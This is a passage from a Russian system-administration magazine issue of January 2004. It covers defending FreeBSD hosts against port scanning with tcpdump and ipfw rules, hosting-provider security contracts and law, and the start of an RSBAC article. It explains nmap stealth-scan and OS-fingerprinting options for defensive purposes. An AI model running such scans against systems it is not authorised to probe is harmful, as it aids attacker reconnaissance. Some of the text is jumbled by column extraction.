лучении пакета с этим флагом удаленная сторона передает информацию, накопленную в буфере, и завершает сеанс; SYN – флаг «синхронизации» используется при запросе на установление соединения. Так, при желании установить связь система выставляет пакет с флагом SYN. Удаленная система отвечает на него пакетом с установленными битами SYN и ACK (см. ниже). В ответ на этот пакет высылается пакет подтверждения с флагом ACK, после чего TCP-соединение считается установленным; RST – сигнал «сброса» (жесткий разрыв соединения). При получении пакета с таким битом удаленная система должна прекратить сеанс связи немедленно; PSH – команда на принудительную внеочередную передачу информации, накопленной в буфере (в нормальном режиме TCP-пакеты отсылаются не сразу, а предварительно накапливаются в буфере передачи и отсылаются только при достижении определенного размера буфера);

безопасность ACK – флаг «подтверждение приема». Данный флаг

-sN – в сканирующих пакетах не установлен ни один

должен выставляться в ответ на безошибочный прием любого пакета; URG – пакет содержит данные, имеющие высокий приоритет (которые должны обрабатываться в первую очередь).

флаг. Поскольку обе эти ситуации не предусмотрены протоколом, то по реакции на нее удаленной системы можно попытаться определить тип ОС и версии запущенных программ; -sP – обычный ping, то есть порты не сканируются, а просто проверяется доступность всех хостов, перечисленных в параметрах команды, с помощью пакетов «Echo Request» протокола ICMP; -sU – сканирование UDP-портов.

Наиболее важной с точки зрения фильтрации информацией TCP-заголовка являются флаги и адреса портов. IP-адреса в данном заголовке не передаются, поскольку за маршрутизацию отвечает сетевой уровень, обслуживаемый протоколом IP. Формат UDP-заголовка намного проще:

То есть в данном случае передаются номера портов источника и приемника, длина пакета и контрольная сумма заголовка, после чего следуют пользовательские данные.

Основные способы сканирования портов Для того чтобы получить информацию об атакуемой машине или сети, чаще всего используется сканирование портов. Этот метод заключается в том, что последовательно отсылаются пакеты, предназначенные различным портам удаленной машины, и на основании полученных ответов делается вывод о том, открыт данный порт (то есть работает ли программа, обслуживающая пакеты, приходящие на него) или закрыт. Также по характеру реакции «жертвы» на нестандартные пакеты довольно часто удается определить операционную систему, работающую на сканируемой машине, и версии обслуживающих соответствующие порты программ. Одной из наиболее распространенных в среде Unix утилит для определения доступных портов является программа nmap. Для FreeBSD она может быть установлена из коллекции портов: /usr/ports/security/nmap. Упрощенно формат ее запуска следующий: # nmap [options] hosts

Параметр hosts задает список сканируемых хостов через запятую или диапазон сканируемых адресов через дефис. Опции задают метод сканирования и могут иметь следующие значения: -sT – обычное сканирование, когда соединение с каждым портом устанавливается полностью, а затем разрывается; -sS – полусоединение, когда связь разрывается после ответа SYN+ACK удаленной машины; -sF – сканирование пакетами с установленным флагом FIN. Поскольку соединение не установлено, то удаленная система обрабатывает эту ситуацию как ошибочную, причем для различных операционных систем реакция может быть различной, что в ряде случаев позволяет также определить ОС, работающую на сканируемой машине; -sX – в сканирующих пакетах устанавливаются все флаги;

Еще два полезных флага: -O, который инициирует попытку определить операционную систему на удаленной машине, и –I, по которому nmap пытается определить пользователя, с правами которого запущена служба, обслуживающая сканируемый порт. Помимо nmap существует множество программ, в той или иной мере решающих задачу определения открытых портов на удаленной машине. Одной их таких для среды Windows является XSpider, разрабатываемый компанией Positive Technologies.

Программа tcpdump В состав большинства операционных систем семейства Unix входит очень полезная утилита tcpdump, которая позволяет системному администратору просматривать и анализировать пакеты, проходящие через машину, на которой она запущена. Для работы с ней вы должны иметь права root. Утилита имеет следующие ключи запуска: tcpdump

[ -adeflnNOpqStvx ] [ -c count ] [ -F file ] [ -i interface ] [ -r file ] [ -s snaplen ] [ -T type ] [ -w file ] [ expression ]

Ознакомиться со всеми ключами можно на странице справочного руководства man tcpdump(1). Здесь мы рассмотрим только наиболее полезные параметры. Запущенная без дополнительных параметров, tcpdump будет выводить на экран заголовки всех пакетов, проходящих через все активные интерфейсы системы. Список прослушиваемых интерфейсов будет отображен в первой строке:

В общем случае формат выводимой информации следующий:

Timestamp – время прохождения пакета с точностью до микросекунд. Далее следуют адреса и порты источника и приемника (адрес и порт разделены точкой). И адрес, и порт по возможности представляются в символьном виде. Если определить его не удается, печатается IP-адрес и номер порта. После двоеточия следует перечисление установленных флагов («S» – SYN, «F» – FIN, «P» – PSH, «R» – RST, «.» – ни один из этих флагов не установлен). Следующий необязательный блок

безопасность задает начальный (first) и конечный (last) номера последовательности пакетов и число байт (bytes) пользовательских данных в ней. Конечный номер (last) в последовательность не включается. Запись «ack» включается в строку, если пакет содержит флаг ACK. «Win» указывает размер окна приема, «urg» устанавливается, если пакет имеет данные с высоким приоритетом и должен обрабатываться в первую очередь (установлен флаг URG). Секция «options» может содержать дополнительную информацию о пакете, заключаемую в угловые скобки. В качестве примера рассмотрим, как выглядит в tcpdump запрос к веб-серверу 1.2.3.4 со стороны хоста host.ru. Для сокращения записи временные штампы опущены (этого можно достичь с помощью параметра –t):

В первой строке хост host.ru со своего порта 2200 отправляет на порт http хоста 1.2.3.4 запрос на установку соединения (флаг SYN). Начальный и конечный номера последовательности совпадают, поскольку пользовательская информация при этом не передается. Размер буфера приема – 8192 байта. В угловых скобках передается дополнительная информация, в том числе параметр mss (max segment size), ограничивающий количество пользовательской информации в одном пакете. Признак (DF) сообщает о том, что фрагментация данного пакета запрещена. Хост 1.2.3.4 отвечает пакетом с установленным флагом SYN и флагом подтверждения ACK, вместе с которым передается и номер подтверждения (номер последовательности, который хост 1.2.3.4 будет ожидать в следующем пакете). В третьей строке host.ru отвечает пакетом с флагом ACK (далее нумерация последовательностей относительная, то есть номер 1 означает, что ожидается первый пакет в данном сеансе связи). После этого соединение считается установленным. В следующем пакете host.ru отправляет пользовательский запрос (500 байт) с установленным флагом очистки буфера PSH, а заодно подтверждает прием предыдущего пакета (установленный флаг ACK). В ответ хост 1.2.3.4 отсылает серию пакетов с запрошенной информацией (первые четыре по 1460 байт (действует ограничение mss, установленное ранее и запрещающее передавать в одном пакете больше 1460 байт пользовательской информации), в последнем – оставшиеся 72 байта). Далее

№1(14), январь 2004

host.ru отсылает подтверждения на полученные пакеты, одновременно открывая еще одно соединение, скорее всего для загрузки изображения, содержащегося на запрошенной странице. Рассмотрим наиболее полезные параметры программы tcpdump: -c № – завершает работу после получения № пакетов; -e – выводит информацию, содержащуюся в заголовке канального уровня. Данная информация выводится между штампом времени и адресом источника и содержит, в частности, MAC-адреса источника и приемника; -i interface – позволяет прослушивать указанный интерфейс (по умолчанию прослушиваются все активные интерфейсы); -n – все адреса хостов и порты представляются в цифровом виде; -N – не печатать полное доменное имя. Например, если данная опция установлена, то адрес и порт «host.server.ru.http» будут представлены в виде «host.http»; -q – минимизирует выводимую информацию. Результат будет примерно таким:

То есть указываются только адреса и порты источника и приемника, протокол верхнего уровня, размер переданной информации и некоторые дополнительные сведения. Использование этого параметра совместно с опцией «-t» (см. ниже) позволит еще больше сократить выводимую информацию, и если повезет, то строки даже смогут полностью поместиться на экране. -S – выводит абсолютные, а не относительные, номера последовательности для установленных соединений; -t – не выводит на экран штамп времени, что несколько укорачивает строку вывода; -tt – выводит неформатированный штамп времени в виде «СЕКУДНЫ.МИКРОСЕКУНДЫ»; -v, -vv – управляет выводом дополнительной информации (такой, как время жизни пакета TTL, идентификационная информация, и т. д.); -x – выводит после информации о заголовках каждый пакет в шестнадцатеричном виде (информация заголовка для сокращения записи в примере обрезана):

безопасность Перечисленные выше параметры позволяют организовать вывод информации в более удобном виде. Следующие опции, задаваемые в параметре «expression», позволяют ограничить выборку пакетов определенными условиями. Рассмотрим только наиболее часто используемые на конкретных примерах. Ограничить собираемую информацию конкретным адресом позволяет следующая команда: # tcpdump host <host>

При этом будут выбираться только пакеты, источником или приемником которых является <host>. Конкретизировать направление передачи можно, указав дополнительный параметр: # tcpdump {src | dst} host <host>

Таким же образом просмотр пакетов можно ограничить по тому или иному порту или по конкретному протоколу: # tcpdump [{src | dst}] port <port> # tcpdump {tcp | udp | icmp}

Ограничить выборку конкретной подсетью позволяет ключевое слово «net». Допускается использование как десятично-точечной нотации, так и нотации CIDR: # tcpdumt net 192.168.0.0 mask 255.255.255.0 # tcpdumt net 192.168.0.0/24

Наибольшую ценность имеет возможность задавать выражения выборки. Запись вида proto[byte] позволяет выбрать конкретный байт в заголовке протокола proto. К полученному байту можно применить операции сравнения (=, !=, <, >), а также бинарные операции «&» (AND), «|» (OR) и другие. Например, чтобы выбрать пакеты, в которых установлены флаги SYN или ACK в заголовке TCP-протокола, можно воспользоваться командой: # tcpdump ‘tcp[13] & 18 != 0’

Кавычки используются, чтобы не позволить командной оболочке самой интерпретировать специальные символы типа «&». В приведенном выше примере мы выбираем 14-й байт TCP-заголовка, содержащий флаги (не забывайте, что нумерация начинается с нуля), и выполняем операцию логического побитного сложения его содержимого с числом «10010» (десятичное 18), то есть выделяем разряды, соответствующие флагам ACK и SYN. Если хотя бы один из них установлен, то результат не будет равен нулю, и информация по данному пакету будет выведена на экран. Следующие две команды позволят выбирать пакеты, у которых установлены все флаги (первая) и не установлено ни одного (вторая): # tcpdumt ‘tcp[13] & 63 = 63’ # tcpdump ‘tcp[13] & 63 = 0’

Еще два полезных параметра: «-w file» и «-r file». Эти

ключи позволяют соответственно писать информацию в файл file и читать ранее сохраненные данные из файла. Эта возможность позволяет, например, включить на ночь запись в файл пакетов со всеми флагами, установленными в единицу, а затем проанализировать полученный файл. Однако нужно помнить, что при интенсивной работе размер такого файла может расти очень быстро и заполнить все пространство на диске. Помимо перечисленных, tcpdump имеет еще целый ряд возможностей, однако они не имеют прямого отношения к материалу данной статьи, и потому рассматриваться здесь не будут.

Использование ipfw для защиты от сканирования Вот мы и подошли к основному вопросу статьи. Дальнейшее изложение предполагает, что читатель знаком с вопросами установки и настройки пакетного фильтра ipfw, входящего в состав FreeBSD. В данной статье остановимся лишь на тех особенностях, которые будут использоваться нами для построения правил защиты. Все примеры относятся к версии ipfw, используемой начиная с 5-й версии FreeBSD. В более ранних версиях некоторые особенности могут не работать или иметь несколько отличный от приведенного в статье синтаксис. В общем виде правило ipfw задается следующим образом: Íîìåð Äåéñòâèå Ïðîòîêîë from Èñòî÷íèê to Ïðèåìíèê [Îïöèè]

Интерес для нас представляет секция Опции, которая может содержать один или несколько следующих параметров: via интерфейс – имя интерфейса системы (например, сетевой карты). Если этот параметр задан, правило будет применяться только к пакетам, проходящим через указанное устройство; {in | out} – опционально может быть указано направление прохождения пакета (in – входящий по отношению к машине, на которой работает ipfw; out – исходящий; по умолчанию учитываются как входящие, так и исходящие пакеты); frag – правилу будут удовлетворять только фрагментированные пакеты (кроме первого фрагмента); icmptypes types – тип icmp-пакетов (types может иметь следующие значения: 0 – echo replay, 3 – destination unreach, 5 – redirect, 8 – echo request, 11 – time-to-live exceeded, 12 – IP-header bad, 15 – information request, 16 – information replay и другие); iplen length – длина IP-пакета; established – TCP-пакеты с установленными флагами RST или ACK, то есть пакеты, принадлежащие установленному соединению; ipttl ttl – пакеты с определенным временем жизни (timeto-live, ttl); setup – пакеты, запрашивающие установление соединения (с установленным битом SYN, но без флага ACK);

безопасность limit {src-addr | src-port | dst-addr | dst-port} N – вводит ограничение на число одновременных соединений, удовлетворяющих правилу. Все последующие (свыше N) соединения будут считаться не соответствующими данному правилу. Признаки src-addr, srcport, dst-addr и dst-port указывают, что учитываются пакеты с одного IP-адреса источника, с порта источника, на один адрес приемника или на порт приемника соответственно. В качестве примера приведу правило, позволяющее ограничить число TCP-соединений на данную машину с одного IP-адреса (признак src-addr): # ipfw add number allow tcp from any to me setup ↵ limit src-addr 5

Данное правило пропустит только первые 5 запросов на соединение (признак setup), поступившие с одного IPадреса, а для остальных пакетов с этого адреса проверка на соответствие правилам будет продолжена, и в случае закрытого брандмауэра они будут отброшены после проверки всей цепочки правил. uid user – пакеты, посланные указанным пользователем или адресованные указанному пользователю; gid group – пакеты, посланные пользователем, принадлежащим группе group или адресованные пользователю этой группы; tcpwin win – TCP-пакеты с указанным размером окна приема (window); tcpflags флаги – задает перечень флагов TCP-пакета, которые должны быть установлены. Допускаются значения fin, syn, rst, psh, ack и urg. Символ «!» перед именем флага означает, что данный флаг должен быть сброшен. Любой из этих параметров может предваряться служебным словом «not», которое инвертирует значение параметра. Как мы видели, один из способов сканирования портов удаленной машины – посылка пакетов с установленным флагом FIN. Такое сканирование может быть выполнено, например, с помощью команды:

(параметры nmap –sX и –sN соответственно) можно сделать бесполезным, добавив в цепочку следующие два правила: # ipfw add number reject tcp from any to any ↵ tcpflags fin, syn, rst, psh, ack, urg # ipfw add number reject tcp from any to any ↵ tcpflags !fin, !syn, !rst, !psh, !ack, !urg

То есть если в пакете все флаги установлены или, наоборот, сброшены, то пакет будет отброшен соответствующим правилом. От сканирования, выполняемого с параметрами nmap –sT и –sS («соединение» и «полусоединение»), нельзя закрыться запрещающим правилом, подобно изложенному выше, поскольку при данных методах сканирования соединение устанавливается (или начинает устанавливаться) в соответствии с протоколом TCP. Естественно, мы не можем запретить все пакеты, запрашивающие соединение с тем или иным портом. Однако поскольку и реакция на такие пакеты будет стандартной, то злоумышленник уже не сможет получить дополнительную информацию о системе, такую, например, как версия ОС. Кроме того, интенсивность сканирования можно существенно снизить, установив ограничение «limit» на число соединений с одного адреса (см. выше). Кроме того, нельзя забывать, что грамотная политика фильтрации пакетов, когда разрешаются только соединения с нужными портами и с ограниченного числа адресов, позволит сделать сканирование практически бесполезным. Раз уж мы взялись защищать нашу сеть от хакеров, заодно добавим правило против спуфинга (подмены IPадресов на легальные). Смысл спуфинга заключается в том, что злоумышленник отсылает пакеты от имени доверенного хоста, подменяя IP-адрес отправителя. Например, мы можем закрыть доступ к порту 110 (POP3) со всех адресов, кроме локальной подсети 193.163.0.0/24. Но если хакер пошлет на порт 110 пакет от имени пользователя локальной сети, например, подставив адрес 193.163.0.12, то он получит доступ к порту. Конечно, исключить такую возможность можно грамотной маршрутизацией, но подстраховаться никогда не вредно. Добавим в цепочку еще одно правило:

# nmap –sF <host> # ipfw add 10007 deny ip from any to any not verrevpath in

В нормальной ситуации данный флаг сигнализирует об окончании сеанса связи, но поскольку в данном случае связь не установлена, то запрошенная система отвечает сообщением об ошибке, по наличию которого хакер и определяет, открыт сканируемый порт или нет. Защититься от подобного сканирования можно с помощью следующего правила: # ipfw add number reject tcp from any to any ↵ not established tcpflags fin

В соответствии с ним все TCP-пакеты с установленным флагом FIN, но не принадлежащие установленным соединениям (not established) будут отбрасываться. Сканирование с установкой или сбросом всех флагов

№1(14), январь 2004

В результате пакеты, пришедшие с интерфейса, отличного от того, куда они были бы направлены маршрутизатором, будут отброшены. Это исключит возможность выдать себя за легального пользователя локальной сети, подключившись извне (конечно, только в том случае, когда локальная сеть и «внешний мир» подключены через разные интерфейсы). Кроме того, никогда не лишне (особенно когда речь идет о безопасности) вести журнал всех «злонамеренных» пакетов. Для этого правило нужно снабдить ключевым словом «log» после действия, которое должно быть выполнено по отношению к пакету, удовлетворившему данному правилу, например:

безопасность # ipfw add 10007 deny log ip from any to any not verrevpath in

Теперь, если пакет будет получен с «неправильного» интерфейса, то syslogd получит сообщение уровня LOG_SECURITY, которое будет обработано в соответствии с настройками в /etc/syslog.conf. Кроме того, ядро системы должно быть собрано с опцией «IPFIREWALL_VERBOSE». Чтобы снизить вероятность переполнения диска журнальной информацией, предусмотрен механизм ограничения числа одинаковых записей. Ограничение по умолчанию задается опцией ядра, например: option

“IPFIREWALL_VERBOSE_LIMIT=100”

В этом случае в журнал будут записаны только 100 записей, соответствующих правилу. Кроме того, это значение можно переопределить для конкретного правила, задав секцию logamount number после ключевого слова log: # ipfw add number reject log logamount 5 tcp from ↵ any to any not established tcpflags fin

Журналирование – функция очень полезная, однако если у вас недостаточно места на диске, то использовать ее следует очень осторожно, поскольку одним из распространенных последствий DoS-атак является переполнение раздела файловой системы журнальной информацией и, как следствие, – отсутствие какого бы то ни было контроля за попытками подключения к системе и отказ таких служб, как сервер электронной почты, которые требуют дискового пространства для своей работы, а порой и полная неработоспособность системы. К слову заметим, что последствия этого можно снизить правильной разбивкой диска на разделы, когда не особо важная, но быстрорастущая информация (от ipfw, apache, squid и т. д.) записывается на свой раздел и не влияет на разделы, хранящие, например, логи авторизации и спул электронной почты. Итак, мы создали набор базовых правил, которые существенно усложнят сканирование нашей системы. Теперь нам нужно записать эти правила в конфигурационный файл, чтобы при перезагрузке системы они автоматически активировались. Для ipfw есть две возможности увековечить наши правила. Во-первых, это конфигурационный файл /etc/rc.firewall. По умолчанию в нем уже содержится два правила с номерами 100 и 200 (иногда и правило 300), которые служат для обеспечения доступа к «внутреннему» интерфейсу системы lo0 и ограничивают доступ к «внутренним» адресам системы 127.0.0.0/8. По аналогии с ними можно дописать в этот файл и наши правила в виде:

Однако нужно иметь в виду, что /etc/rc.firewall – системный файл, и его лучше не изменять (это позволит избежать проблем, например, при обновлении системы с помощью cvsup). Более правильным является конфигурация ipfw как пользовательского. Для этого в файле /etc/rc.conf поменяем тип брандмауэра: firewall_type=”/etc/ipfw.conf”

Теперь создадим файл ipfw.conf в папке /etc (впрочем, имя файла может быть любым удобным для вас) и поместим в него наши правила так, как если бы вводили их с консоли, только без имени программы ipfw. То есть выглядеть этот файл будет примерно так: # Çàïðåò X-ñêàíèðîâàíèÿ: add 1001 reject log tcp from any to any ↵ tcpflags fin, syn, rst, psh, ack, urg # Çàïðåò N-ñêàíèðîâàíèÿ: add 1002 reject log tcp from any to any ↵ tcpflags !fin, !syn, !rst, !psh, !ack, !urg # Çàïðåò FIN-ñêàíèðîâàíèÿ: add 1003 reject log tcp from any to any ↵ not established tcpflags fin # Çàùèòà îò ñïóôèíãà add 1004 deny log ip from any to any not verrevpath in # Îãðàíè÷åíèå ÷èñëà îäíîâðåìåííûõ ñîåäèíåíèé: add 1005 allow ip from any to any setup limit src-addr 10

Комментарии, как обычно, предваряются символом «#». Теперь при загрузке системы автоматически будут включаться правила сначала из rc.firewall, затем из пользовательского файла (в нашем случае ipfw.conf). На первый взгляд запрет нестандартных пакетов может показаться излишним, поскольку в случае «закрытого» брандмауэра они в любом случае будут отброшены последним запрещающим правилом. Однако их явный запрет позволит вести запись попыток сканирования тем или иным методом, что даст возможность вовремя обнаружить чей-то интерес к вашей системе и предпринять ряд превентивных мер. Кроме того, размещение этих правил в начале цепочки позволит несколько разгрузить систему в случае массированного сканирования, поскольку нестандартные пакеты не станут проверяться на соответствие всем правилам цепочки, а будут отброшены в ее начале. Итак, мы рассмотрели основные пути защиты сети, первая линия обороны которой построена на базе FreeBSD с брандмауэром ipfw. Безусловно, соответствующей настройки еще не достаточно, чтобы спать спокойно. Ежедневный анализ log-файлов, непрерывное повышение общей грамотности в области протоколов, межсетевых экранов и т. д. – вот базовые составляющие безопасности. Надеюсь, что эта статья позволит вам более осознанно строить защиту вашей сети.

$fwcmd add ÏÐÀÂÈËÎ

Дополнительные материалы: Например, упомянутые выше два правила заданы следующим образом: $fwcmd add 100 pass all from any to any via lo0 $fwcmd add 200 deny all from any to 127.0.0.0/8

1. Чубин И. Ipfw и управление трафиком в FreeBSD. // Журнал «Системный администратор», №6(7) 2003 г. – 26-34 с. 2. Страницы справочного руководства man ipfw, man tcpdump, man nmap.

безопасность

БЕЗОПАСНОСТЬ УСЛУГ ХОСТИНГА Размещение данных с использованием услуг, предоставляемых хостинг-провайдерами – весьма распространенная и востребованная сегодня возможность. В статье рассматриваются вопросы собственной безопасности для тех, кто воспользовался данной услугой, и то, насколько это безопасно для других членов сообщества Интернет.

МАКСИМ КОСТЫШИН 46

безопасность Возможности сети Интернет для рекламы, публикации необходимой информации или создания собственного интернет-магазина активно используются частными лицами, коммерческими компаниями, государственными организациями. В ряде случаев для организации собственного сайта или отдельной веб-странички в Интернете юридическим и физическим лицам приходится обращаться за помощью в компании, предоставляющие услуги так называемого веб-хостинга. Основная причина – финансовая выгодность решения (не надо держать специально обученный персонал и беспокоиться о поддержании круглосуточного канала в Интернете, обладающего, кроме всего прочего, достаточной пропускной способностью).

Вопросы безопасности в договорных документах на услуги хостинга Анализ значительного количества договоров (было изучено более двадцати типовых договоров) хостинг-провайдеров (далее по тексту «Провайдеров») как Российской Федерации, так и стран СНГ, по вопросам, связанным с обеспечением безопасности при оказании хостинг-услуг, показал, что в настоящее время эти нюансы практически не оговариваются. Требования по безопасности в основном предъявляются к пользователю услуг хостинга (далее по тексту «Абоненту»). Абоненту предписывается: ограничивать содержание информации и перечень программного обеспечения, размещаемых на собственном сайте, для того, чтобы не нарушать действующее законодательство; не предпринимать действий, которые могут повлечь за собой нанесение ущерба Провайдеру или иным сетевым ресурсам при использовании доступа в Интернет, включая попытки несанкционированного доступа. Требования к Провайдеру обычно ограничиваются необходимостью обеспечить конфиденциальность учетных записей Абонента (но даже это не всегда). В некоторых договорах Провайдер откровенно снимает с себя любую ответственность за риски Абонента, которому он организует все технические составляющие работы с Интернетом. Если попытаться перечислить возможные риски, то основные из них следующие: недополученная прибыль и упущенная выгода, а также любые косвенные убытки, понесенные Абонентом в период использования или не использования услуг Провайдера; задержки, перебои в работе и невозможность полноценного использования собственных ресурсов Абонента, происходящие прямо или косвенно по причине действия или бездействия третьих лиц и/или неработоспособностью транспортно-информационных каналов, находящихся за пределами собственных ресурсов Провайдера; ошибки в программном обеспечении, наличие вредоносных компонентов в используемом на серверах Провайдера и других серверах сети Интернет, если таковое не разработано самим Провайдером.

№1(14), январь 2004

Ни в одном из проанализированных договоров не предполагается какая-либо материальная или моральная компенсация в случаях нанесения ущерба Абоненту при использовании услуг хостинга, предоставляемого Провайдером. Упоминания об этом, вообще говоря, в договорах встречаются, однако такие моменты не более чем декларация прав Абонента, которые доказать и, естественно, использовать будет весьма проблематично. В некоторых случаях обещания Провайдеров обеспечить необходимые условия безопасности клиентов носят чисто рекламный характер и ни на чем не основываются. Попытаемся перечислить те вопросы, которые касаются обеспечения определенного уровня безопасности услуг и должны быть подкреплены конкретной, в том числе финансовой, ответственностью, при соглашениях между Провайдером и Абонентом. 1. Доступность канала для обновления сайта (гарантированная возможность выполнения действий по обновлению Абонентом данных своего сайта). 2. Конфиденциальность информации учетных записей Абонента (наличие необходимых условий конфиденциальности при выполнении действий по идентификации и авторизации Абонента для случаев обновления данных сайта). 3. Целостность данных сайта Абонента, а также выполнение Провайдером работ по восстановлению сайта при авариях. 4. Доступность сайта Абонента из Интернета. 5. Надежность функционирования сайта Абонента, в том числе с использованием возможностей Провайдера по круглосуточному мониторингу системы. Кроме того, обеспечение безопасности клиентов подразумевает для Провайдера проработку своих внутренних вопросов, связанных с обеспечением собственной безопасности. В перечень можно включить следующие задачи: Установка и использование средств антивирусной защиты. Проработка решений по обеспечению средствами защиты от сканирования. Возможность выполнения предварительной фильтрации трафика от спама в случае оказания услуги по размещению почтового сервера Абонента. Пресечение возможностей несанкционированного доступа к программному обеспечению и данным, которые в совокупности обеспечивают работу веб-сайтов и/или почтовых серверов клиентов. При заключении договора услуг хостинга необходимо обращать внимание на дополнительные моменты, такие как: Максимальный срок восстановления работоспособности сайта Абонента в случаях аварий. Возможность проведения Абонентом процедур по тестированию надежности своего сайта. Получение Абонентом (для возможности контроля) достоверной информации о функционировании собственного сайта, а также данных, которые связаны с выполнением сторонами договорных обязательств.

безопасность В случаях заключения договоров по хостингу дополнительными гарантиями для обеих сторон могут стать моменты, связанные с дополнительной защитой своего бизнеса при использовании услуг страхования.

Обзор нормативной базы В настоящее время наличие у Провайдеров разрешения на оказание услуг хостинга не требует выполнения какихлибо мероприятий по обеспечению безопасности своих клиентов. В связи с этим, при жесткой конкуренции на рынке хостинг-услуг, Провайдерам экономически не выгодно брать на себя дополнительные риски и в полной мере решать вопросы защищенности. Тем более что мало кто из Абонентов при заключении договора поднимает тему об обеспечении необходимого уровня безопасности, а если такие вопросы и возникают, то речь идет больше о качественной и надежной работе технологического оборудования Провайдера. 7 июля 2003 г. в Российской Федерации был принят закон «О связи», который вступает в силу с 1 января 2004 года и устанавливает правовые аспекты деятельности в области связи. Если в законе «О связи» 1995 года не оговаривались вопросы, связанные с обеспечением безопасности при предоставлении услуг связи, то с 2004 года государством за оператором связи закреплена обязанность обеспечивать защиту средств и сооружений связи. Перечислим только те основные моменты нового закона, которые имеют отношение к тематике публикации. Статьи 7, 63, 70 обязывают владельцев предусматривать необходимость обеспечивать защиту средств связи и сооружений от несанкционированного доступа к ним. Согласно новому закону операторы связи должны обеспечить соблюдение тайны связи. Кроме того, для услуг связи в пределах мировых информационно-телекоммуникационных сетей на территории Российской Федерации является обязательным «обеспечение экономической, общественной, оборонной, экологической, информационной и иных видов безопасности». В статьях 25 и 64 закона предусматривается ряд мер по обеспечению оперативно-розыскной деятельности уполномоченных государственных органов, которые накладывают определенные обязательства на операторов связи. По вопросам оценки уровня безопасности информационных объектов широко применяется практика использования известного международного стандарта ИСО/МЭК 15408:1999 («Общие критерии»). В Российской Федерации этот стандарт (аутентичный перевод) с 2002 года принят в качестве государственного. Вопросы расширения сотрудничества между странами СНГ, в том числе на рынке продуктов защиты информации, тесно связаны с унификацией законодательства стран СНГ. Отметим, к примеру, что в Республике Беларусь документ, аналогичный российскому, действует в качестве предстандарта с 2001 года. Однако отсутствие аутентичности белорусского стандарта подразумевает серьезные сложности для возможности применения механизмов автоматического «доверия» в Беларуси заключениям по безопасности других стран для систем, которые уже прошли проверку (в том числе в России) на соответствие мировому стандарту.

Соответственно и производители сертифицированных белорусских продуктов столкнутся с трудностями распространения своих систем безопасности на российском рынке. Не лишним будет упомянуть в данной статье про Уголовный кодекс Российской Федерации 1996 года. Описанию преступлений в сфере компьютерных технологий в этом документе выделен отдельный раздел. Статьи, касающиеся компьютерных преступлений, могут в различной степени затронуть проблемы недостаточной защищенности сайта клиента хостинг-провайдера при рассмотрении объективной стороны преступления, совершенного при работе в сети Интернет. На настоящее время имеется много вариантов действий злоумышленников в Интернете, которые могут быть квалифицированы как уголовные преступления против собственности. Множество публикаций сообщают читателям информацию о случаях нарушений систем защиты или нормальной работы ресурсов в Интернете. Сайты и корпоративные сети организаций подвергаются DDoSатакам с прекращением работы владельца ресурса с Интернетом на значительные сроки; изменяется содержимое сайтов; производится переадресация обращений к сайтам, осуществляющих платежные операции, на контролируемые злоумышленниками ресурсы; имеются факты откровенного вымогательства, когда шантажисты требуют выплату значительных сумм у владельцев интернетресурсов за отказ от компьютерной атаки. При этом при расследовании конкретных компьютерных преступлений, которые произошли с использованием сети Интернет, может устанавливаться лицо, допустившее преступную небрежность или легкомыслие. Если будет доказано, что объективной стороной преступления стали деструктивные действия, исходившие с сайта Абонента, то лицом, которое устанавливает правосудие, может оказаться Провайдер либо Абонент (а возможно, и обеих договаривавшихся сторон), что повлечет за собой определенные серьезные последствия.

Заключение Обеспечение безопасной работы с Интернетом является серьезной задачей, однако внимание к этому вопросу на уровне услуг, предоставляемых операторами связи, пока недостаточное. Необходимые задачи по обеспечению защиты информации при хостинг-услугах могут быть решены только усилиями и желанием Провайдеров. Принятие нового закона «О связи» Российской Федерации в 2004 году должно подтолкнуть российских интернет-провайдеров, а затем и провайдеров других стран СНГ к цивилизованному решению вопросов защиты информации и ресурсов своих клиентов, а также предусматривает контроль за исполнением необходимых требований со стороны государства. Серьезное влияние на положительные сдвиги в области защиты информации при работе с Интернетом могут оказать также те, кто пользуется услугами хостинга, так как наличие на рынке спроса на безопасный хостинг может заставить провайдеров предпринять более активные шаги в вопросах обеспечения безопасности своих клиентов.

администрирование

RULE SET BASED ACCESS CONTROL ДЛЯ LINUX

СЕРГЕЙ ЯРЕМЧУК 50

администрирование Linux-системы, как многие другие в Unix-семействе, имеют известный недостаток в управлении доступом. Прежде всего это малое количество контролируемых прав доступа, состоящих в разрешении чтения, записи и возможности выполнения, и права эти можно установить только для владельца файла, членов группы владельца и всех остальных. Иногда очень трудно вместить в предложенные ограничения даже пару десятков человек, при этом требуются более широкие возможности по описанию доступа к конкретному файлу. Дополнительно все программы, работающие от имени пользователя, имеют такие же права, как и сам пользователь, при этом совсем не учитывается важность самого объекта и вообще сама необходимость работы программы с ним. Сам пользователь файла решает, являются ли данные файлы секретными или будут доступными остальным пользователям. Отсюда получается, что запущенная от имени суперпользователя программа имеет неограниченные возможности в системе и доступ к любому объекту (эту модель еще называют одноуровневой). Все хорошо, пока она не скомпрометирована, и тогда такое упрощение становится уже большим недостатком. Такая модель доступа называется Discretionary Access Control (DAC) и позволяет создавать системы, защищенные по классу С1. Естественно, сложившаяся ситуация не могла остаться нерешенной и было начато несколько различных проектов, в которых предлагался свой вариант решения дан-

№1(14), январь 2004

ной проблемы. Об одном из них я уже писал в статье о SELinux в майском номере журнала. В данной разработке использована Role-Based Access Control (RBAC) модель доступа, позволяющая администратору определить роли и объекты в системе, к которым эти роли могут обращаться. Достаточно сказать, что в новое ядро версии 2.6 данная технология включена по умолчанию. Но данное решение не обладает достаточной гибкостью, и его удобнее все-таки использовать для создания специализированых решений. Второй проект, о котором уже говорилось на страницах журнала, – LIDS, позволяющий ограничить возможности пользователей (в том числе и root), но в некоторых вопросах только глобально, без «индивидуального» подхода. Сегодня пойдет речь о проекте RSBAC (Rule Set Based Access Control), домашняя страница http://www.rsbac.org, который предлагает свой взгляд на решение проблемы разграничения доступа пользователей.

Архитектура RSBAC RSBAC представляет собой гибкую, мощную и открытую модель управления доступа для ядра Linux, первая устойчивая версия 1.0.9а появилась на свет в январе 2000 года. Сам проект полностью не зависим от правительств и больших компаний и разрабатывается по лицензии GPL. Базируется RSBAC на архитектуре GFAC (Generalized Framework for Access Control Approach), предложенной Abrams и LaPadula. Основной особеннос-

